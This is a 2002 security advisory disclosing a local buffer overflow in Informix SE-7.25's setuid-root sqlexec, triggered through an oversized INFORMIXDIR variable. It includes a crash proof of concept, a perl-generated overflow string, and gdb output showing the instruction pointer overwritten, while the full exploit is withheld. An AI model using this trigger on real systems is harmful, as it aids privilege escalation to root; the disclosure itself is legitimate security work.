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 Title: Local Vulnerability in Informix SE-7.25
 Date: 21-04-2002
 Platform: Only tested in Linux but can be exported to others.
 Impact: Users with exec perm over /lib/sqlexec can obtain euid=0
 Author: Juan Manuel Pascual Escriba <paskuninet.edu>
 Status: Vendor contacted details below.

PROBLEM SUMMARY:

    Buffer overflow exists if INFORMIXDIR enviroment variable is defined
with a size greater than 2023 bytes

[paskdimoni lib]$ ls -FAlsc
total 2588
   4 drwxrwxr-x 2 informix informix 4096 May 28 22:50 boom/
1484 -rwsr-sr-x 1 root informix 1515480 Apr 20 22:09 sqlexec*
 504 -rwxr-xr-x 1 informix informix 510283 Apr 20 22:09 sqlexecd*
 596 -rwxr-xr-x 1 informix informix 606041 Apr 20 22:09 sqlrm*

[paskdimoni lib]$ export INFORMIXDIR=`perl -e 'print "A"x2023'`
[paskdimoni lib]$ ./sqlexec
[paskdimoni lib]$ export INFORMIXDIR=`perl -e 'print "A"x2024'`
[paskdimoni lib]$ ./sqlexec
Segmentation fault

[paskdimoni lib]$ gdb ./sqlexec
(gdb) r
Starting program: /home/informix/SE-7.25/lib/./sqlexec
Program received signal SIGSEGV, Segmentation fault.
0x41414141 in ?? ()
(gdb)
(gdb) info registers
...
esp 0x3fffed08 0x3fffed08
ebp 0x41414141 0x41414141
esi 0x3fffedf9 1073737209
edi 0x8191571 135861617
eip 0x41414141 0x41414141
...

IMPACT:
    Users with exec perm over /lib/sqlexec can obtain euid=0
in a standard installation of Informix SE-7.25

EXPLOIT
    Will be available when IBM develops a patch.

STATUS
    At 21th April i tried to contact with IBM through
http://www.ibm.com/contact,i received a quick answer
telling me that i can email moreinfoinformix.com for
report this vulnerability. This email address dont exist
or is misconfigured (i received the message returned).

   At 28th May i tried to contact with IBM through
askibmvnet.ibm.com, they answer the email telling me
"to call to Main support Line and choose option 3 to speak
customer service representative who will be happy to assist
me".

I'm sorry but im not happy to pay an international call bill.
and im not a customer.

   Status of this advisory would be checked at:
        http://concepcion.upv.es/~pask/advisories

- --------------------------------------------------
This vulnerability was researched by:
Juan Manuel Pascual Escriba paskuninet.edu

- --

                   "In god We Trust, Others We monitor"

        ----------------------------------------------------------
                        Juan Manuel Pascual Escriba
                     Midnight Systems & Security Manager
               PGP PubKey http://concepcion.upv.es/~pask/publica.pgp
        ----------------------------------------------------------

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